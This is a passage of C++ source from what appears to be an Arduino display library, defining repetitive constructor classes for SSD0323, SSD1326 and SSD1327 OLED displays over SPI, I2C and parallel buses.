u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD0323_OS128064_SW_I2C : public U8X8 { public: U8X8_SSD0323_OS128064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD0323_OS128064_HW_I2C : public U8X8 { public: U8X8_SSD0323_OS128064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD0323_OS128064_2ND_HW_I2C : public U8X8 { public: U8X8_SSD0323_OS128064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1326_ER_256X32_4W_SW_SPI : public U8X8 { public: U8X8_SSD1326_ER_256X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1326_ER_256X32_4W_HW_SPI : public U8X8 { public: U8X8_SSD1326_ER_256X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1326_ER_256X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1326_ER_256X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1326_ER_256X32_3W_SW_SPI : public U8X8 { public: U8X8_SSD1326_ER_256X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1326_ER_256X32_3W_HW_SPI : public U8X8 { public: U8X8_SSD1326_ER_256X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1326_ER_256X32_6800 : public U8X8 { public: U8X8_SSD1326_ER_256X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1326_ER_256X32_8080 : public U8X8 { public: U8X8_SSD1326_ER_256X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1326_ER_256X32_SW_I2C : public U8X8 { public: U8X8_SSD1326_ER_256X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1326_ER_256X32_HW_I2C : public U8X8 { public: U8X8_SSD1326_ER_256X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1326_ER_256X32_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1326_ER_256X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_WS_96X64_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_WS_96X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_WS_96X64_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_96X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_WS_96X64_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_96X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_WS_96X64_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_WS_96X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_WS_96X64_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_96X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_WS_96X64_6800 : public U8X8 { public: U8X8_SSD1327_WS_96X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_WS_96X64_8080 : public U8X8 { public: U8X8_SSD1327_WS_96X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_WS_96X64_SW_I2C : public U8X8 { public: U8X8_SSD1327_WS_96X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_WS_96X64_HW_I2C : public U8X8 { public: U8X8_SSD1327_WS_96X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_WS_96X64_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_WS_96X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_SEEED_96X96_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_SEEED_96X96_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_SEEED_96X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_SEEED_96X96_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_SEEED_96X96_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_SEEED_96X96_6800 : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_SEEED_96X96_8080 : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_SEEED_96X96_SW_I2C : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1327_SEEED_96X96_HW_I2C : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1327_SEEED_96X96_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1327_SEEED_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1327_EA_W128128_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_EA_W128128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_EA_W128128_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_EA_W128128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_EA_W128128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_EA_W128128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_EA_W128128_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_EA_W128128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_EA_W128128_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_EA_W128128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_EA_W128128_6800 : public U8X8 { public: U8X8_SSD1327_EA_W128128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_EA_W128128_8080 : public U8X8 { public: U8X8_SSD1327_EA_W128128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_MIDAS_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_MIDAS_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_MIDAS_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_MIDAS_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_MIDAS_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_MIDAS_128X128_6800 : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_MIDAS_128X128_8080 : public U8X8 { public: U8X8_SSD1327_MIDAS_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_ZJY_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_ZJY_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_ZJY_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_ZJY_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SSD1327_ZJY_128X128_3W_HW_SPI : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SSD1327_ZJY_128X128_6800 : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_ZJY_128X128_8080 : public U8X8 { public: U8X8_SSD1327_ZJY_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1327_WS_128X128_4W_SW_SPI : public U8X8 { public: U8X8_SSD1327_WS_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1327_WS_128X128_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_WS_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1327_WS_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1327_WS_128X128_3W_SW_SPI : public U8X8 { public: U8X8_SSD1327_WS_128X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, 